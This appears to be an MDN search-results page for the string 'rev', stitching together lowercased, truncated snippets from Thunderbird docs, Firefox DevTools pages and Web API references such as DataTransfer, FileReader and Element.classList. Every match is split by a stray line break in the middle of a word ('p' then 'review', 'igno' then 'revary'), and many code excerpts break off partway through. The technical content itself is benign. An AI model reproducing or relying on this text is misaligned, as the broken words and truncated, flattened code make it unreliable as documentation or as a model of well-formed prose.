XPIDL
note: starting in gecko 9.0, the older xpidl utility, which was p
reviously used to generate c++ header files, typelib information, and so forth has been replaced with pyxpidl in the gecko sdk.
...if a method is declared notxpcom, the mangling of the return type is p
revented, so it is called mostly as it looks.
Index
43 mailnews and mail code
review requirements this document describes the process for
reviewing patches to the mozilla/mailnews and mozilla/mail directories.
... 55 thunderbird binaries branch, trunk, comm-central, thunderbird described below are three types of generally available thunderbird packages - releases, early p
review releases, and nightly builds (including trunk development builds) - and their downloaded locations.
Creating a Custom Column
looking in messenger.xul
reveals that the columns reside inside a tree with the id "threadtree" whose columns (treecols) reside in "threadcols".
... as you develop your custom extension, please
revisit this article and add any helpful hints that you find along the way!
Activity Manager examples
" is processed", null, "no junk found", process.starttime, // start time date.now()); // completion time event.contexttype = process.contexttype; // optional event.contextobj = process.contextobj; // optional gactivitymanager.addactivity(event); showing a user-defined activity with cancel capability (javascript) this sample improves the p
revious one by providing an nsiactivitycancelhandler to allow the user to cancel the process.
... // assuming that the initiator has some way to cancel // the junk processing for given folder if (initiator.cancelfolderop(folder)) { aactivity.state = components.interfaces.nsiactivityprocess.state_canceled; gactivitymanager.removeactivity(aactivity.id); return cr.ns_success; } } return cr.ns_failure; } } // step 2: modify the p
revious sample to add initiator, subject // and associate a nsiactivitycancelhandler component ...
Theme Packaging
theme file layout thunderbird themes are packaged in an xpi file with the following structure: theme.xpi: install.rdf p
review.png icon.png chrome/ browser/files communicator/files global/files mozapps/files ...
... p
review.png is a p
review image which will show when double-clicked on a theme in the appearance section of the add-ons manager.
Browser Side Plug-in API - Plugins
« p
reviousnext » this chapter describes methods in the plug-in api that are available from the browser.
... netscape plug-in method summary « p
reviousnext » npn_destroystream closes and deletes a stream.
Constants - Plugins
« p
revious this section is a reference to the program definitions used by the plug-in api.
... « p
revious ...
Structures - Plugins
« p
reviousnext » this chapter describes the data structures that are used to represent the various objects in the plug-in api.
... « p
reviousnext » ...
URLs - Plugins
« p
reviousnext » this chapter describes retrieving urls and displaying them on specified target pages, posting data to an http server, uploading files to an ftp server, and sending mail.
... « p
reviousnext » ...
Version, UI, and Status Information - Plugins
« p
reviousnext » this chapter describes the functions that allow a plug-in to display a message on the status line, get agent information, and check on the current version of the plug-in api and the browser.
... « p
reviousnext » ...
Accessibility Inspector - Firefox Developer Tools
items with nested children have arrows that can be clicked to
reveal the children, so you can move deeper into the hierarchy.
...note, however, that if you hold the shift key down when "performing a pick", you can "p
review" the accessibility object in the tree (and its properties in the right-hand pane), but then continue picking as many times as you like (the picker does not get cancelled) until you release the shift key.
DOM Inspector internals - Firefox Developer Tools
these overlays are: browseroverlay.xul tasksoverlay-cz.xul tasksoverlay-ff.xul tasksoverlay-mobile.xul tasksoverlay-sb.xul tasksoverlay-tb.xul tasksoverlay.xul venkmanoverlay.xul prefs/prefsoverlay.xul further examination of the chrome manifest will
reveal that dom inspector also uses conditional overlays on its primary window: overlay chrome://inspector/content/inspector.xul chrome://communicator/content/utilityoverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} overlay chrome://inspector/content/inspector.xul chrome://communicator/content/tasksoverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} overlay chrome://inspect...
... shared structure overlays taking a look at the contents of inspector.xul, dom inspector's primary ui, will
reveal that it contains almost no visible elements.
Debugging service workers - Firefox Developer Tools
from updating your service worker: if your service worker has p
reviously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated.
...when you fill up the cache with assets, but then want to alter the behavior slightly, you p
reviously had to manually write code to empty the cache, and then fill it again.
Break on DOM mutation - Firefox Developer Tools
inline variable p
review new in firefox 71, the source pane now gives you an instant p
review of the variables on each line of code you've stepped through.
... see set a breakpoint > inline variable p
review for more information.
Step through code - Firefox Developer Tools
inline variable p
review new in firefox 71, the source pane now gives you an instant p
review of the variables on each line of code you've stepped through.
... see set a breakpoint > inline variable p
review for more information.
Set an XHR breakpoint - Firefox Developer Tools
inline variable p
review new in firefox 71, the source pane now gives you an instant p
review of the variables on each line of code you've stepped through.
... see set a breakpoint > inline variable p
review for more information.
Set event listener breakpoints - Firefox Developer Tools
inline variable p
review new in firefox 71, the source pane now gives you an instant p
review of the variables on each line of code you've stepped through.
... see set a breakpoint > inline variable p
review for more information.
UI Tour - Firefox Developer Tools
the name of the selected directory is shown at the top of the source list pane; clicking this name
reverts the pane to showing all source items.
... inline variable p
review: enabled by default, this option displays variable values within the source pane when the debugger is paused.
Debugger - Firefox Developer Tools
setting this to false p
revents this debugger instance from requiring any code coverage instrumentation, but it does not guarantee that the instrumentation is not present.
... unlike findscripts, this function is deterministic and will never return debugger.objects referring to p
reviously unreachable objects that had not been collected yet.
Index - Firefox Developer Tools
72 view background images in the rules view, you can see a p
review of images specified using background-image.
...starting in firefox 80, a disclosure triangle within the tooltip
reveals a stack trace.
Inspecting web sockets - Firefox Developer Tools
clicking on a web socket request opens the usual sidebar to
reveal additional details.
... expanding each message selecting a message in the list shows a p
review of the data being sent in that message, at the bottom of the response pane.
Examine and edit HTML - Firefox Developer Tools
if a shadow dom contains a "slotted" element (an element with a slot attribute after it has been inserted inside a <slot> element — see adding flexibility with slots for an explanation of how these are used), the "slotted" element will be shown inside its corresponding <slot> element, with a "
reveal" link alongside it.
... clicking the "
reveal" link will highlight the element with the slot attribute as it exists outside the shadow dom this is very useful when you've got a <slot> element and you can't find the source of its content.
Settings - Firefox Developer Tools
uncheck this box to p
revent this behavior.
... note that this option was called "disable cache" in firefox versions p
revious to 49, but it was renamed to make it clearer that this affects the http cache, and not service workers/the cache api.
Style Editor - Firefox Developer Tools
this makes it easy to experiment with,
revise, and test changes.
... this means that if you use, for example, sass, then the style editor will show you, and allow you to edit, sass files, rather than the css that is generated from them: for this to work, you must: use a css preprocessor that understands the source map
revision 3 proposal.
Web console keyboard shortcuts - Firefox Developer Tools
put (only if the command line is empty) end end end page up through console output page up page up page up page down through console output page down page down page down go backward through command history up arrow up arrow up arrow go forward through command history down arrow down arrow down arrow initiate
reverse search through command history/step backwards through matching commands f9 ctrl + r f9 step forward through matching command history (after initiating
reverse search) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the curren...
... add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the p
revious autocomplete suggestion up arrow up arrow up arrow move to the next autocomplete suggestion down arrow down arrow down arrow page up through autocomplete suggestions page up page up page up page down through autocomplete suggestions page down page down page down scroll to start of autocomplete suggestions home home ...
Animation.playbackRate - Web APIs
negative values
reverse the animation.
... examples in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to
reverse, causing her to shrink: var shrinkalice = function() { alicechange.playbackrate = -1; alicechange.play(); } // on tap or click, alice will shrink.
Attr - Web APIs
you should
revise your code accordingly.
... p
revioussibling this property now always returns null.
AudioParam - Web APIs
the change starts at the time specified for the p
revious event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
...the change starts at the time specified for the p
revious event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
BaseAudioContext.createConvolver() - Web APIs
the createconvolver() method of the baseaudiocontext interface creates a convolvernode, which is commonly used to apply
reverb effects to your audio.
...the example below uses a short sample of a concert hall crowd, so the
reverb effect applied is really deep and echoey.
Cache.delete() - Web APIs
ignoremethod: a boolean that, when set to true, p
revents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
... igno
revary: a boolean that, when set to true, tells the matching operation not to perform vary header matching.
Cache.keys() - Web APIs
ignoremethod: a boolean that, when set to true, p
revents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
... igno
revary: a boolean that, when set to true, tells the matching operation not to perform vary header matching.
Cache.match() - Web APIs
ignoremethod: a boolean that, when set to true, p
revents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
... igno
revary: a boolean that when set to true tells the matching operation not to perform vary header matching — i.e.
Cache.matchAll() - Web APIs
ignoremethod: a boolean that, when set to true, p
revents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
... igno
revary: a boolean that when set to true tells the matching operation not to perform vary header matching — i.e.
CacheStorage.match() - Web APIs
ignoremethod: a boolean that, when set to true, p
revents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
... igno
revary: a boolean that, when set to true, tells the matching operation not to perform vary header matching.
CanvasRenderingContext2D.drawWindow() - Web APIs
notes: if "rgba(0,0,0,0)" is used for the background color, the drawing will be transparent whe
rever the window is transparent.
... ted mielczarek's tab p
review extension uses this technique in chrome to provide thumbnails of web pages, and the source is available for reference.
CanvasRenderingContext2D.globalAlpha - Web APIs
values outside that range, including infinity and nan, will not be set, and globalalpha will retain its p
revious value.
... with each new circle, the opacity of the p
revious circles underneath is effectively increased.
Basic usage of canvas - Web APIs
« p
reviousnext » let's start this tutorial by looking at the <canvas> html element itself.
... ctx = canvas.getcontext('2d'); ctx.fillstyle = 'rgb(200, 0, 0)'; ctx.fillrect(10, 10, 50, 50); ctx.fillstyle = 'rgba(0, 0, 200, 0.5)'; ctx.fillrect(30, 30, 50, 50); } } </script> </head> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> </html> this example looks like this: screenshotlive sample « p
reviousnext » ...
Compositing example - Web APIs
o = [ 'source-over','source-in','source-out','source-atop', 'destination-over','destination-in','destination-out','destination-atop', 'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken', 'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light', 'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity' ].
reverse(); var gcotext = [ 'this is the default setting and draws new shapes on top of the existing canvas content.', 'the new shape is drawn only where both the new shape and the destination canvas overlap.
...trast.', 'preserves the luma and chroma of the bottom layer, while adopting the hue of the top layer.', 'preserves the luma and hue of the bottom layer, while adopting the chroma of the top layer.', 'preserves the luma of the bottom layer, while adopting the hue and chroma of the top layer.', 'preserves the hue and chroma of the bottom layer, while adopting the luma of the top layer.' ].
reverse(); var width = 320; var height = 340; main program when the page loads, this code runs to set up and run the example: window.onload = function() { // lum in srgb var lum = { r: 0.33, g: 0.33, b: 0.33 }; // resize canvas canvas1.width = width; canvas1.height = height; canvas2.width = width; canvas2.height = height; lightmix() ...
Compositing and clipping - Web APIs
« p
reviousnext » in all of our p
revious examples, shapes were always drawn one on top of the other.
... screenshotlive sample « p
reviousnext » ...
Drawing text - Web APIs
« p
reviousnext » after having seen how to apply styles and colors in the p
revious chapter, we will now have a look at how to draw text onto the canvas.
... « p
reviousnext » ...
Using channel messaging - Web APIs
ame to load iframe.addeventlistener("load", onload); function onload() { // listen for button clicks button.addeventlistener('click', onclick); // listen for messages on port1 port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('init', '*', [channel.port2]); } // post a message on port1 when the button is clicked function onclick(e) { e.p
reventdefault(); port1.postmessage(input.value); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; input.value = ''; } we start off by creating a new message channel by using the messagechannel() constructor.
... when our button is clicked, we p
revent the form from submitting as normal and then send the value entered in our text input to the iframe via the messagechannel.
ConvolverNode.buffer - Web APIs
the buffer property of the convolvernode interface represents a mono, stereo, or 4-channel audiobuffer containing the (possibly multichannel) impulse response used by the convolvernode to create the
reverb effect.
...for example, if you want to model the
reverb in your bathroom, you might set up a microphone near the door to record the sound of a balloon pop or synthesized impulse from the sink.
DataTransfer.items - Web APIs
style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.p
reventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // print each format type if (ev.datatransfer.types != null) { for (var i=0; i < ev.datatransfer.types.length; i++) { console.log("...
...items[" + i + "].kind = " + ev.datatransfer.items[i].kind + " ; type = " + ev.datatransfer.items[i].type); } } } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples of <code>datatransfer</code>.{<code>types</code>, <code>items</code>} properties</h1> <ul> <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the...
DataTransfer.types - Web APIs
style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.p
reventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // print each format type if (ev.datatransfer.types != null) { for (var i=0; i < ev.datatransfer.types.length; i++) { console.log("...
...items[" + i + "].kind = " + ev.datatransfer.items[i].kind + " ; type = " + ev.datatransfer.items[i].type); } } } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples of <code>datatransfer</code>.{<code>types</code>, <code>items</code>} properties</h1> <ul> <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the...
DataTransferItemList.DataTransferItem() - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind ...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; // clear any remaining drag data datalist.clear(); } html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it...
DataTransferItemList.add() - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].ki...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status com...
DataTransferItemList.clear() - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].ki...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment ...
DataTransferItemList.length - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind ...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; // clear any remaining drag data datalist.clear(); } html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it...
DataTransferItemList.remove() - Web APIs
paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].ki...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } html <h1>example uses of <code>datatransferitemlist</code> methods and property</...
Document.createElementNS() - Web APIs
optionsoptional an optional elementcreationoptions object containing a single property named is, whose value is the tag name for a custom element p
reviously defined using customelements.define().
... for backwards compatibility with p
revious versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name.
Document: drag event - Web APIs
on the dragged elem dragged = event.target; // make it half transparent event.target.style.opacity = .5; }, false); document.addeventlistener("dragend", function(event) { // reset the transparency event.target.style.opacity = ""; }, false); /* events fired on the drop targets */ document.addeventlistener("dragover", function(event) { // p
revent default to allow drop event.p
reventdefault(); }, false); document.addeventlistener("dragenter", function(event) { // highlight potential drop target when the draggable element enters it if (event.target.classname == "dropzone") { event.target.style.background = "purple"; } }, false); document.addeventlistener("dragleave", function(event) { // reset background of potential drop...
... target when the draggable element leaves it if (event.target.classname == "dropzone") { event.target.style.background = ""; } }, false); document.addeventlistener("drop", function(event) { // p
revent default action (open as link for some elements) event.p
reventdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.background = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html living standardthe definition of 'drag event' in that specification.
Document.exitFullscreen() - Web APIs
the document method exitfullscreen() requests that the element on this document which is currently being presented in full-screen mode be taken out of full-screen mode, restoring the p
revious state of the screen.
... this usually
reverses the effects of a p
revious call to element.requestfullscreen().
Introduction to the DOM - Web APIs
note: because the vast majority of code that uses the dom
revolves around manipulating html documents, it's common to refer to the nodes in the dom as elements, although strictly speaking not every node is an element.
...these elements may also have specific interfaces for dealing with the kind of data those elements hold, as in the table object example in the p
revious section.
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
for example, if you want to create a new <p> element as a child of the <body> element, you can use the mybody in the p
revious example and append a new element node.
...
reviewing the html table structure creating element nodes and inserting them into the document tree the basic steps to create the table in sample1.html are: get the body object (first item of the document object).
EffectTiming.fill - Web APIs
forwards makes the rabbit retain its last keyframe rather than
reverting to its unanimated state: // create a set of keyframes to slide the rabbit down the hole--and keep him down with 'fill'!
...when used to persist the effect of an animation indefinitely, however, they have a number of drawbacks: the forwards fill of an animation (or backwards fill if the animation is playing in
reverse) will continue to override any changes to specified style indefinitely which can lead to confusing behavior.
Element: DOMMouseScroll event - Web APIs
bubbles yes cancelable yes interface mousescrollevent if you want to p
revent the default action of mouse wheel events, it's not enough to handle only this event on gecko because if scroll amount by a native mouse wheel event is less than 1 line (or less than 1 page when the system setting is by page scroll), other mouse wheel events may be fired without this event.
... on gecko 17 (firefox 17) or later, you need to call p
reventdefault() of wheel events which must be fired for every native event.
Element.animate() - Web APIs
direction optional whether the animation runs forwards (normal), backwards (
reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-
reverse).
... replace overwrites the p
revious value with the new one.
Element.classList - Web APIs
string.prototype.trim polyfill if (!"".trim) string.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); }; (function(window){"use strict"; // p
revent global namespace pollution if(!window.domexception) (domexception = function(reason){this.message = reason}).prototype = new error; var wsre = /[\11\12\14\15\40]/, wsindex = 0, checkifvalidclasslistentry = function(o, v) { if (v === "") throw new domexception( "failed to execute '" + o + "' on 'domtokenlist': the token provided must not be empty." ); if((wsindex=v.search(wsre))!==-1) t...
...prop !== "classlist") return; skippropchange = 1, target.classlist = restokenlist, target.classname = strval; skippropchange = 0, restokenlist.length = tokens.length - sub; } } function polyfillclasslist(ele){ if (!ele || !("innerhtml" in ele)) throw typeerror("illegal invocation"); ele.detachevent( "onpropertychange", whenpropchanges ); // p
revent duplicate handler infinite loop allowtokenlistconstruction = 1; try{ function protoobj(){} protoobj.prototype = new domtokenlist(); } finally { allowtokenlistconstruction = 0 } var protoobjproto = protoobj.prototype, restokenlist = new protoobj(); a: for(var toks=ele.classname.trim().split(wsre), ci=0, clen=toks.length, sub=0; ci !== clen; ++ci){ ...
Element: copy event - Web APIs
a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.p
reventdefault().
...v> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); event.p
reventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element.innerHTML - Web APIs
warning: if your project is one that will undergo any form of security
review, using innerhtml most likely will result in your code being rejected.
... for example, if you use innerhtml in a browser extension and submit the extension to addons.mozilla.org, it will not pass the automated
review process.
Element: paste event - Web APIs
to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.p
reventdefault(), and then insert its desired data manually.
....queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste)); event.p
reventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element.releasePointerCapture() - Web APIs
the releasepointercapture() method of the element interface releases (stops) pointer capture that was p
reviously set for a specific (pointe
revent) pointer.
... syntax targetelement.releasepointercapture(pointerid); parameters pointerid the pointerid of a pointe
revent object.
Element.setPointerCapture() - Web APIs
overview of pointer capture pointer capture allows events for a particular pointer event (pointe
revent) to be re-targeted to a particular element instead of the normal (or hit test) target at a pointer's location.
... syntax targetelement.setpointercapture(pointerid); parameters pointerid the pointerid of a pointe
revent object.
Element - Web APIs
nondocumenttypechildnode.p
reviouselementsibling read only is a element, the element immediately preceding the given one in the tree, or null if there is no sibling element.
... element.releasepointercapture() releases (stops) pointer capture that was p
reviously set for a specific pointer event.
EventTarget.removeEventListener() - Web APIs
the eventtarget.removeeventlistener() method removes from the eventtarget an event listener p
reviously registered with eventtarget.addeventlistener().
... return value undefined matching event listeners for removal given an event listener p
reviously added by calling addeventlistener(), you may eventually come to a point at which you need to remove it.
Using Fetch - Web APIs
this kind of functionality was p
reviously achieved using xmlhttprequest.
...instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything p
revented the request from completing.
Fetch API - Web APIs
this will allow them to be used whe
rever they are needed in the future, whether it’s for service workers, cache api, and other similar things that handle or modify requests and responses, or any kind of use case that might require you to generate your responses programmatically (that is, the use of computer program or personal programming instructions).
...instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything p
revented the request from completing.
FileReader: abort event - Web APIs
no interface progressevent event handler property filereader.onabort examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="p
review" height="200" alt="image p
review..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-are...
...as: "select log" "p
review log"; } .file-select { grid-area: select; } .p
review { grid-area: p
review; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { p
review.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistene...
FileReader: load event - Web APIs
e no interface progressevent event handler property filereader.onload examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="p
review" height="200" alt="image p
review..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-are...
...as: "select log" "p
review log"; } .file-select { grid-area: select; } .p
review { grid-area: p
review; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { p
review.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistene...
FileReader: loadend event - Web APIs
no interface progressevent event handler property filereader.onloadend examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="p
review" height="200" alt="image p
review..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-are...
...as: "select log" "p
review log"; } .file-select { grid-area: select; } .p
review { grid-area: p
review; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { p
review.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistene...
FileReader: loadstart event - Web APIs
no interface progressevent event handler property filereader.onloadstart examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="p
review" height="200" alt="image p
review..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-are...
...as: "select log" "p
review log"; } .file-select { grid-area: select; } .p
review { grid-area: p
review; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { p
review.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistene...
FileReader: progress event - Web APIs
no interface progressevent event handler property filereader.onprogress examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="p
review" height="200" alt="image p
review..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-are...
...as: "select log" "p
review log"; } .file-select { grid-area: select; } .p
review { grid-area: p
review; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { p
review.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistene...
Using FormData Objects - Web APIs
